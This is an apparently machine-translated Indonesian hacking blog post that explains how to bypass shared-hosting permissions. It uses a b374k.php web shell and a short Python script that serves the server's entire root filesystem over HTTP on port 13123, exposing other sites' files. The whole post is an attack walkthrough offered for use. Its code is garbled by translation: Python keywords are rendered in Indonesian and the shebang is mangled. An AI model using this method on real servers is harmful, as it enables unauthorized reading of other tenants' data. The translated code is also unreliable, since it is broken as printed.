Server Bypass melalui symlink - Jumping Bagian 1

Server Bypass melalui symlink - Jumping Bagian 1 - Salam X-WaHz All About Info :) Seperti kita ketahui, symlink itu pada metode greates untuk melewati keamanan server, berarti untuk membaca file dari situs lain di host bersama sama.
Untuk mendapatkan kesuksesan dengan tutorial ini diperlukan hal-hal berikut:

• Python Dipasang pada Server
• b374k.php shell
• Dan beberapa script u akan lihat di bawah.

Ide ini telah mulai dari Geeks devilzc0de dan biarkan aku menjelaskan bagaimana itu bekerja. sini kita berada di folder / var / www / dono dan mencoba masuk ke / www /

. tidak ada izin untuk masuk ke / www
sebelum kita bosan dengan mencoba u perintah harus memeriksa apakah jika python terinstal dengan perintah:

python-h

Sekarang ambil script python dan nama itu sebagai webs.py , Ini adalah script python kecil yang akan membuka port baru pada server SimpleHTTPServer (python) modul. Port default dari script itu 13123 .

# / Usr! / Bin / env python 
# devilzc0de.org (c) 2012 
impor  Sederhana HTTP Server 
impor  Socket Server 
impor os

Port =  13123 
jika __name__ == '__main__' : 
        os . chdir ( '/' ) 
        Handler  =  SimpleHTTPServer . SimpleHTTPRequestHandler

        httpd =  Socket Server . TCPServer (( "" , pelabuhan ),  Handler )

        print ( "Sekarang buka server ini pada browser web di port:"  + str ( pelabuhan )) 
        cetak ( "contoh: http://maho.com:"  + str ( pelabuhan )) 
        httpd . serve_forever ()

http://pastebin.com/PddvszKC 

 

Berikutnya u wil perlu menjalankan script webs.py dengan mengikuti perintah

python webs.py

 membuka situs dengan port 13123
site.com: 13123

Dan menikmati symilinking, di posting berikutnya saya akan menunjukkan u bagaimana melakukan ini dengan cara lain :)

Sumber